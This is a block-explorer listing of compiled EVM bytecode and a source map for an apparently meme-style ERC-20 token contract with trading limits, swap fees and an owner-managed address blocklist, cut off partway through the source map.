1199657600080fd5b83356119a18161192d565b925060208401356119b18161192d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119eb57600080fd5b823567ffffffffffffffff80821115611a0357600080fd5b818501915085601f830112611a1757600080fd5b813581811115611a2957611a296119c2565b8060051b604051601f19603f83011681018181108582111715611a4e57611a4e6119c2565b604052918252848201925083810185019188831115611a6c57600080fd5b938501935b82851015611a9157611a8285611945565b84529385019392850192611a71565b98975050505050505050565b600060208284031215611aaf57600080fd5b813561132a8161192d565b60008060408385031215611acd57600080fd5b8235611ad88161192d565b91506020830135611ae88161192d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b44578160001904821115611b2a57611b2a611af3565b80851615611b3757918102915b93841c9390800290611b0e565b509250929050565b600082611b5b57506001610455565b81611b6857506000610455565b8160018114611b7e5760028114611b8857611ba4565b6001915050610455565b60ff841115611b9957611b99611af3565b50506001821b610455565b5060208310610133831016604e8410600b8410161715611bc7575081810a610455565b611bd18383611b09565b8060001904821115611be557611be5611af3565b029392505050565b600061132a60ff841683611b4c565b6000816000190483118215151615611c1657611c16611af3565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c7a57611c7a611af3565b5060010190565b600060208284031215611c9357600080fd5b815161132a8161192d565b600080600060608486031215611cb357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cde57600080fd5b8151801515811461132a57600080fd5b60008219821115611d0157611d01611af3565b500190565b600082821015611d1857611d18611af3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d6d5784516001600160a01b031683529383019391830191600101611d48565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611dab57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046b87b50bba8338cc0301a7802c2f7a838a2afd8661ed38c35bb48f14cd4a08a64736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80637d1db4a5116100ab578063bf474bed1161006f578063bf474bed14610389578063c9567bf91461039f578063d34628cc146103b4578063dd62ed3e146103d4578063e8078d941461041a578063fc76729c1461042f57600080fd5b80637d1db4a5146102e95780638da5cb5b146102ff5780638f9a55c01461032757806395d89b411461033d578063a9059cbb1461036957600080fd5b8063313ce567116100fd578063313ce5671461021257806331c2d8471461022e5780633bbac5791461025057806370a0823114610289578063715018a6146102bf578063751039fc146102d457600080fd5b806306fdde0314610145578063095ea7b3146101895780630faee56f146101b957806318160ddd146101dd57806323b872dd146101f257600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260098152685045504e4f4d49435360b81b60208201525b60405161018091906118d8565b60405180910390f35b34801561019557600080fd5b506101a96101a4366004611955565b610444565b6040519015158152602001610180565b3480156101c557600080fd5b506101cf60095481565b604051908152602001610180565b3480156101e957600080fd5b506101cf61045b565b3480156101fe57600080fd5b506101a961020d366004611981565b61047c565b34801561021e57600080fd5b5060405160098152602001610180565b34801561023a57600080fd5b5061024e6102493660046119d8565b6104e5565b005b34801561025c57600080fd5b506101a961026b366004611a9d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029557600080fd5b506101cf6102a4366004611a9d565b6001600160a01b031660009081526001602052604090205490565b3480156102cb57600080fd5b5061024e610584565b3480156102e057600080fd5b5061024e6105f8565b3480156102f557600080fd5b506101cf60065481565b34801561030b57600080fd5b506000546040516001600160a01b039091168152602001610180565b34801561033357600080fd5b506101cf60075481565b34801561034957600080fd5b5060408051808201909152600381526205045560ec1b6020820152610173565b34801561037557600080fd5b506101a9610384366004611955565b61067b565b34801561039557600080fd5b506101cf60085481565b3480156103ab57600080fd5b5061024e610688565b3480156103c057600080fd5b5061024e6103cf3660046119d8565b61071c565b3480156103e057600080fd5b506101cf6103ef366004611aba565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b5061024e6107ae565b34801561043b57600080fd5b5061024e610b34565b6000610451338484610b69565b5060015b92915050565b60006104696009600a611bed565b610477906305f5e100611bfc565b905090565b6000610489848484610c8e565b6104db84336104d685604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111ff565b610b69565b5060019392505050565b6000546001600160a01b031633146105185760405162461bcd60e51b815260040161050f90611c1b565b60405180910390fd5b60005b81518110156105805760006004600084848151811061053c5761053c611c50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057881611c66565b91505061051b565b5050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161050f90611c1b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161050f90611c1b565b60001960068190556007557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61065a6009600a611bed565b610668906305f5e100611bfc565b60405190815260200160405180910390a1565b6000610451338484610c8e565b6000546001600160a01b031633146106b25760405162461bcd60e51b815260040161050f90611c1b565b601354600160a01b900460ff16156107035760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161050f565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161050f90611c1b565b60005b81518110156105805760016004600084848151811061076a5761076a611c50565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a681611c66565b915050610749565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161050f90611c1b565b601354600160a01b900460ff16156108285760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161050f565b60006108366009600a611bed565b6108449063055d4a80611bfc565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108909030906108826009600a611bed565b6104d6906305f5e100611bfc565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611c81565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190611c81565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fe9190611c81565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab79190611c9e565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105809190611ccc565b6000546001600160a01b03163314610b5e5760405162461bcd60e51b815260040161050f90611c1b565b610b6747611239565b565b6001600160a01b038316610bcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050f565b6001600160a01b038216610c2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050f565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050f565b60008111610db65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050f565b601354600160a01b900460ff16610e49576001600160a01b03821660009081526003602052604090205460ff1680610e0657506001600160a01b03831660009081526003602052604090205460ff165b610e495760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161050f565b601354600160b01b900460ff161580610e6b5750601354600160a81b900460ff165b15610e8057610e7b838383611273565b505050565b6000546001600160a01b03848116911614801590610eac57506000546001600160a01b03838116911614155b156111ca576001600160a01b03831660009081526004602052604090205460ff16158015610ef357506001600160a01b03821660009081526004602052604090205460ff16155b610efc57600080fd5b6013546001600160a01b038481169116148015610f2757506012546001600160a01b03838116911614155b8015610f4c57506001600160a01b03821660009081526003602052604090205460ff16155b1561103457600654811115610fa35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050f565b60075481610fc6846001600160a01b031660009081526001602052604090205490565b610fd09190611cee565b111561101e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b6011805490600061102e83611c66565b91905055505b6013546001600160a01b0383811691161480159061106b57506001600160a01b03821660009081526003602052604090205460ff16155b156110eb5760075481611093846001600160a01b031660009081526001602052604090205490565b61109d9190611cee565b11156110eb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b30600090815260016020526040902054601354600160a81b900460ff1615801561112257506013546001600160a01b038481169116145b80156111375750601354600160b01b900460ff165b80156111465750601054601154115b801561116b57506001600160a01b03841660009081526003602052604090205460ff16155b801561119057506001600160a01b03831660009081526003602052604090205460ff16155b156111c8576008548111156111bc576111bc6111b7836111b284600954611319565b611319565b611331565b476111c647611239565b505b505b60006111d5846114ab565b90506000806111e58686866114d5565b915091506111f7868685878686611611565b505050505050565b600081848411156112235760405162461bcd60e51b815260040161050f91906118d8565b5060006112308486611d06565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610580573d6000803e3d6000fd5b6001600160a01b038316600090815260016020526040902054611296908261174d565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112c5908261178f565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c819085815260200190565b6000818311611328578261132a565b815b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137957611379611c50565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f69190611c81565b8160018151811061140957611409611c50565b6001600160a01b03928316602091820292909201015260125461142f9130911684610b69565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611468908590600090869030904290600401611d1d565b600060405180830381600087803b15801561148257600080fd5b505af1158015611496573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6001600160a01b03811660009081526003602052604081205460ff166114d15730610455565b5090565b6001600160a01b03831660009081526003602052604081205481908190849060ff161561151857611511606461150b87826117ee565b9061186d565b9150611605565b6013546001600160a01b03888116911614801561154357506012546001600160a01b03878116911614155b801561156857506001600160a01b03861660009081526003602052604090205460ff16155b156115a657611593606461150b600e546011541161158857600a5461158c565b600c545b88906117ee565b915061159f8282611d06565b9050611605565b6013546001600160a01b0387811691161480156115cc57506001600160a01b0387163014155b15611605576115f6606461150b600f54601154116115ec57600b5461158c565b600d5488906117ee565b91506116028282611d06565b90505b90969095509350505050565b8115611697576001600160a01b03841660009081526001602052604090205461163a908361178f565b6001600160a01b0380861660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061168e9086815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546116ba908461174d565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546116e9908261178f565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061173d9085815260200190565b60405180910390a3505050505050565b600061132a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b60008061179c8385611cee565b90508381101561132a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050f565b6000826117fd57506000610455565b60006118098385611bfc565b9050826118168583611d8e565b1461132a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050f565b600061132a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836118cb5760405162461bcd60e51b815260040161050f91906118d8565b5060006112308486611d8e565b600060208083528351808285015260005b81811015611905578581018301518582016040015282016118e9565b81811115611917576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461194257600080fd5b50565b80356119508161192d565b919050565b6000806040838503121561196857600080fd5b82356119738161192d565b946020939093013593505050565b60008060006060848603121561199657600080fd5b83356119a18161192d565b925060208401356119b18161192d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119eb57600080fd5b823567ffffffffffffffff80821115611a0357600080fd5b818501915085601f830112611a1757600080fd5b813581811115611a2957611a296119c2565b8060051b604051601f19603f83011681018181108582111715611a4e57611a4e6119c2565b604052918252848201925083810185019188831115611a6c57600080fd5b938501935b82851015611a9157611a8285611945565b84529385019392850192611a71565b98975050505050505050565b600060208284031215611aaf57600080fd5b813561132a8161192d565b60008060408385031215611acd57600080fd5b8235611ad88161192d565b91506020830135611ae88161192d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b44578160001904821115611b2a57611b2a611af3565b80851615611b3757918102915b93841c9390800290611b0e565b509250929050565b600082611b5b57506001610455565b81611b6857506000610455565b8160018114611b7e5760028114611b8857611ba4565b6001915050610455565b60ff841115611b9957611b99611af3565b50506001821b610455565b5060208310610133831016604e8410600b8410161715611bc7575081810a610455565b611bd18383611b09565b8060001904821115611be557611be5611af3565b029392505050565b600061132a60ff841683611b4c565b6000816000190483118215151615611c1657611c16611af3565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c7a57611c7a611af3565b5060010190565b600060208284031215611c9357600080fd5b815161132a8161192d565b600080600060608486031215611cb357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cde57600080fd5b8151801515811461132a57600080fd5b60008219821115611d0157611d01611af3565b500190565b600082821015611d1857611d18611af3565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d6d5784516001600160a01b031683529383019391830191600101611d48565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611dab57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046b87b50bba8338cc0301a7802c2f7a838a2afd8661ed38c35bb48f14cd4a08a64736f6c634300080b0033

Deployed Bytecode Sourcemap

4480:11190:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6393:83;;;;;;;;;;-1:-1:-1;6463:5:0;;;;;;;;;;;;-1:-1:-1;;;6463:5:0;;;;6393:83;;;;;;;:::i;:::-;;;;;;;;7276:186;;;;;;;;;;-1:-1:-1;7276:186:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;7276:186:0;1211:187:1;5296:54:0;;;;;;;;;;;;;;;;;;;1549:25:1;;;1537:2;1522:18;5296:54:0;1403:177:1;6670:95:0;;;;;;;;;;;;;:::i;7470:446::-;;;;;;;;;;-1:-1:-1;7470:446:0;;;;;:::i;:::-;;:::i;6579:83::-;;;;;;;;;;-1:-1:-1;6579:83:0;;4873:1;2188:36:1;;2176:2;2161:18;6579:83:0;2046:184:1;14368:171:0;;;;;;;;;;-1:-1:-1;14368:171:0;;;;;:::i;:::-;;:::i;:::-;;14547:86;;;;;;;;;;-1:-1:-1;14547:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;14618:7:0;14594:4;14618:7;;;:4;:7;;;;;;;;;14547:86;6773:119;;;;;;;;;;-1:-1:-1;6773:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6866:18:0;6839:7;6866:18;;;:9;:18;;;;;;;6773:119;3475:148;;;;;;;;;;;;;:::i;13806:170::-;;;;;;;;;;;;;:::i;5108:55::-;;;;;;;;;;;;;;;;3261:79;;;;;;;;;;-1:-1:-1;3299:7:0;3326:6;3261:79;;-1:-1:-1;;;;;3326:6:0;;;3891:51:1;;3879:2;3864:18;3261:79:0;3745:203:1;5170:57:0;;;;;;;;;;;;;;;;6484:87;;;;;;;;;;-1:-1:-1;6556:7:0;;;;;;;;;;;;-1:-1:-1;;;6556:7:0;;;;6484:87;;6900:192;;;;;;;;;;-1:-1:-1;6900:192:0;;;;;:::i;:::-;;:::i;5234:55::-;;;;;;;;;;;;;;;;15501:166;;;;;;;;;;;;;:::i;14193:167::-;;;;;;;;;;-1:-1:-1;14193:167:0;;;;;:::i;:::-;;:::i;7100:168::-;;;;;;;;;;-1:-1:-1;7100:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7233:18:0;;;7206:7;7233:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7100:168;14641:815;;;;;;;;;;;;;:::i;13984:101::-;;;;;;;;;;;;;:::i;7276:186::-;7376:4;7393:39;876:10;7416:7;7425:6;7393:8;:39::i;:::-;-1:-1:-1;7450:4:0;7276:186;;;;;:::o;6670:95::-;6723:7;4976:15;4873:1;4976:2;:15;:::i;:::-;4964:27;;:9;:27;:::i;:::-;6743:14;;6670:95;:::o;7470:446::-;7602:4;7619:36;7629:6;7637:9;7648:6;7619:9;:36::i;:::-;7666:220;7689:6;876:10;7737:138;7793:6;7737:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7737:19:0;;;;;;:11;:19;;;;;;;;876:10;7737:33;;;;;;;;;;:37;:138::i;:::-;7666:8;:220::i;:::-;-1:-1:-1;7904:4:0;7470:446;;;;;:::o;14368:171::-;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;;;;;;;;;14443:9:::1;14438:94;14462:6;:13;14458:1;:17;14438:94;;;14515:5;14497:4;:15;14502:6;14509:1;14502:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14497:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14497:15:0;:23;;-1:-1:-1;;14497:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14477:3;::::1;::::0;::::1;:::i;:::-;;;;14438:94;;;;14368:171:::0;:::o;3475:148::-;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;3582:1:::1;3566:6:::0;;3545:40:::1;::::0;-1:-1:-1;;;;;3566:6:0;;::::1;::::0;3545:40:::1;::::0;3582:1;;3545:40:::1;3613:1;3596:19:::0;;-1:-1:-1;;;;;;3596:19:0::1;::::0;;3475:148::o;13806:170::-;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13860:12:0::1;:26:::0;;;13897:14:::1;:28:::0;13941:27:::1;4976:15;4873:1;4976:2;:15;:::i;:::-;4964:27;::::0;:9:::1;:27;:::i;:::-;13941;::::0;1549:25:1;;;1537:2;1522:18;13941:27:0::1;;;;;;;13806:170::o:0;6900:192::-;7003:4;7020:42;876:10;7044:9;7055:6;7020:9;:42::i;15501:166::-;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;15563:11:::1;::::0;-1:-1:-1;;;15563:11:0;::::1;;;15562:12;15554:45;;;::::0;-1:-1:-1;;;15554:45:0;;6869:2:1;15554:45:0::1;::::0;::::1;6851:21:1::0;6908:2;6888:18;;;6881:30;-1:-1:-1;;;6927:18:1;;;6920:50;6987:18;;15554:45:0::1;6667:344:1::0;15554:45:0::1;15612:11;:18:::0;;-1:-1:-1;;;;15641:18:0;-1:-1:-1;;;15641:18:0;;;15501:166::o;14193:167::-;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;14267:9:::1;14262:91;14286:5;:12;14282:1;:16;14262:91;;;14337:4;14320;:14;14325:5;14331:1;14325:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14320:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14320:14:0;:21;;-1:-1:-1;;14320:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14300:3;::::1;::::0;::::1;:::i;:::-;;;;14262:91;;14641:815:::0;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;14704:11:::1;::::0;-1:-1:-1;;;14704:11:0;::::1;;;14703:12;14695:44;;;::::0;-1:-1:-1;;;14695:44:0;;7218:2:1;14695:44:0::1;::::0;::::1;7200:21:1::0;7257:2;7237:18;;;7230:30;-1:-1:-1;;;7276:18:1;;;7269:49;7335:18;;14695:44:0::1;7016:343:1::0;14695:44:0::1;14750:19;14783:15;4873:1;14783:2;:15;:::i;:::-;14772:26;::::0;:8:::1;:26;:::i;:::-;14809:15;:104:::0;;-1:-1:-1;;;;;;14809:104:0::1;14860:42;14809:104:::0;;::::1;::::0;;;14750:48;;-1:-1:-1;14924:58:0::1;::::0;14941:4:::1;::::0;4976:15:::1;4873:1;4976:2;:15;:::i;:::-;4964:27;::::0;:9:::1;:27;:::i;14924:58::-;15027:15;;;;;;;;;-1:-1:-1::0;;;;;15027:15:0::1;-1:-1:-1::0;;;;;15027:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15009:55:0::1;;15087:4;15107:15;;;;;;;;;-1:-1:-1::0;;;;;15107:15:0::1;-1:-1:-1::0;;;;;15107:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15009:131;::::0;-1:-1:-1;;;;;;15009:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7850:15:1;;;15009:131:0::1;::::0;::::1;7832:34:1::0;7902:15;;7882:18;;;7875:43;7767:18;;15009:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14993:13;:147:::0;;-1:-1:-1;;;;;;14993:147:0::1;-1:-1:-1::0;;;;;14993:147:0;;::::1;;::::0;;15151:15:::1;::::0;::::1;:31;15190:21;15235:4;15255:11:::0;-1:-1:-1;;876:10:0;15151:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15151:215:0;;;-1:-1:-1;;;;;8288:15:1;;;15151:215:0::1;::::0;::::1;8270:34:1::0;8320:18;;;8313:34;;;;8363:18;;;8356:34;;;;8406:18;;;8399:34;8470:15;;;8449:19;;;8442:44;15340:15:0::1;8502:19:1::0;;;8495:35;8204:19;;15151:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15384:13:0::1;::::0;15415:15:::1;::::0;15377:71:::1;::::0;-1:-1:-1;;;15377:71:0;;-1:-1:-1;;;;;15415:15:0;;::::1;15377:71;::::0;::::1;9026:51:1::0;-1:-1:-1;;9093:18:1;;;9086:34;15384:13:0;::::1;::::0;-1:-1:-1;15377:29:0::1;::::0;8999:18:1;;15377:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13984:101::-:0;3388:6;;-1:-1:-1;;;;;3388:6:0;876:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;14042:35:::1;14055:21;14042:12;:35::i;:::-;13984:101::o:0;8201:335::-;-1:-1:-1;;;;;8294:19:0;;8286:68;;;;-1:-1:-1;;;8286:68:0;;9615:2:1;8286:68:0;;;9597:21:1;9654:2;9634:18;;;9627:30;9693:34;9673:18;;;9666:62;-1:-1:-1;;;9744:18:1;;;9737:34;9788:19;;8286:68:0;9413:400:1;8286:68:0;-1:-1:-1;;;;;8373:21:0;;8365:68;;;;-1:-1:-1;;;8365:68:0;;10020:2:1;8365:68:0;;;10002:21:1;10059:2;10039:18;;;10032:30;10098:34;10078:18;;;10071:62;-1:-1:-1;;;10149:18:1;;;10142:32;10191:19;;8365:68:0;9818:398:1;8365:68:0;-1:-1:-1;;;;;8444:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8496:32;;1549:25:1;;;8496:32:0;;1522:18:1;8496:32:0;;;;;;;;8201:335;;;:::o;8544:2570::-;-1:-1:-1;;;;;8637:20:0;;8629:70;;;;-1:-1:-1;;;8629:70:0;;10423:2:1;8629:70:0;;;10405:21:1;10462:2;10442:18;;;10435:30;10501:34;10481:18;;;10474:62;-1:-1:-1;;;10552:18:1;;;10545:35;10597:19;;8629:70:0;10221:401:1;8629:70:0;-1:-1:-1;;;;;8718:20:0;;8710:68;;;;-1:-1:-1;;;8710:68:0;;10829:2:1;8710:68:0;;;10811:21:1;10868:2;10848:18;;;10841:30;10907:34;10887:18;;;10880:62;-1:-1:-1;;;10958:18:1;;;10951:33;11001:19;;8710:68:0;10627:399:1;8710:68:0;8805:1;8797:5;:9;8789:63;;;;-1:-1:-1;;;8789:63:0;;11233:2:1;8789:63:0;;;11215:21:1;11272:2;11252:18;;;11245:30;11311:34;11291:18;;;11284:62;-1:-1:-1;;;11362:18:1;;;11355:39;11411:19;;8789:63:0;11031:405:1;8789:63:0;8870:11;;-1:-1:-1;;;8870:11:0;;;;8865:183;;-1:-1:-1;;;;;8924:26:0;;;;;;:18;:26;;;;;;;;;:56;;-1:-1:-1;;;;;;8954:26:0;;;;;;:18;:26;;;;;;;;8924:56;8898:138;;;;-1:-1:-1;;;8898:138:0;;11643:2:1;8898:138:0;;;11625:21:1;11682:2;11662:18;;;11655:30;-1:-1:-1;;;11701:18:1;;;11694:50;11761:18;;8898:138:0;11441:344:1;8898:138:0;9065:11;;-1:-1:-1;;;9065:11:0;;;;9064:12;;:22;;-1:-1:-1;9080:6:0;;-1:-1:-1;;;9080:6:0;;;;9064:22;9060:113;;;9103:37;9118:6;9126;9134:5;9103:14;:37::i;:::-;8544:2570;;;:::o;9060:113::-;3299:7;3326:6;-1:-1:-1;;;;;9189:17:0;;;3326:6;;9189:17;;;;:38;;-1:-1:-1;3299:7:0;3326:6;-1:-1:-1;;;;;9210:17:0;;;3326:6;;9210:17;;9189:38;9185:1636;;;-1:-1:-1;;;;;9253:12:0;;;;;;:4;:12;;;;;;;;9252:13;:30;;;;-1:-1:-1;;;;;;9270:12:0;;;;;;:4;:12;;;;;;;;9269:13;9252:30;9244:39;;;;;;9332:13;;-1:-1:-1;;;;;9322:23:0;;;9332:13;;9322:23;:78;;;;-1:-1:-1;9384:15:0;;-1:-1:-1;;;;;9366:34:0;;;9384:15;;9366:34;;9322:78;:126;;;;-1:-1:-1;;;;;;9422:26:0;;;;;;:18;:26;;;;;;;;9421:27;9322:126;9300:452;;;9500:12;;9491:5;:21;;9483:59;;;;-1:-1:-1;;;9483:59:0;;11992:2:1;9483:59:0;;;11974:21:1;12031:2;12011:18;;;12004:30;12070:27;12050:18;;;12043:55;12115:18;;9483:59:0;11790:349:1;9483:59:0;9620:14;;9611:5;9591:17;9601:6;-1:-1:-1;;;;;6866:18:0;6839:7;6866:18;;;:9;:18;;;;;;;6773:119;9591:17;:25;;;;:::i;:::-;:43;;9561:143;;;;-1:-1:-1;;;9561:143:0;;12479:2:1;9561:143:0;;;12461:21:1;12518:2;12498:18;;;12491:30;12557:28;12537:18;;;12530:56;12603:18;;9561:143:0;12277:350:1;9561:143:0;9725:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9300:452;9782:13;;-1:-1:-1;;;;;9772:23:0;;;9782:13;;9772:23;;;;:54;;-1:-1:-1;;;;;;9800:26:0;;;;;;:18;:26;;;;;;;;9799:27;9772:54;9768:238;;;9906:14;;9897:5;9877:17;9887:6;-1:-1:-1;;;;;6866:18:0;6839:7;6866:18;;;:9;:18;;;;;;;6773:119;9877:17;:25;;;;:::i;:::-;:43;;9847:143;;;;-1:-1:-1;;;9847:143:0;;12479:2:1;9847:143:0;;;12461:21:1;12518:2;12498:18;;;1249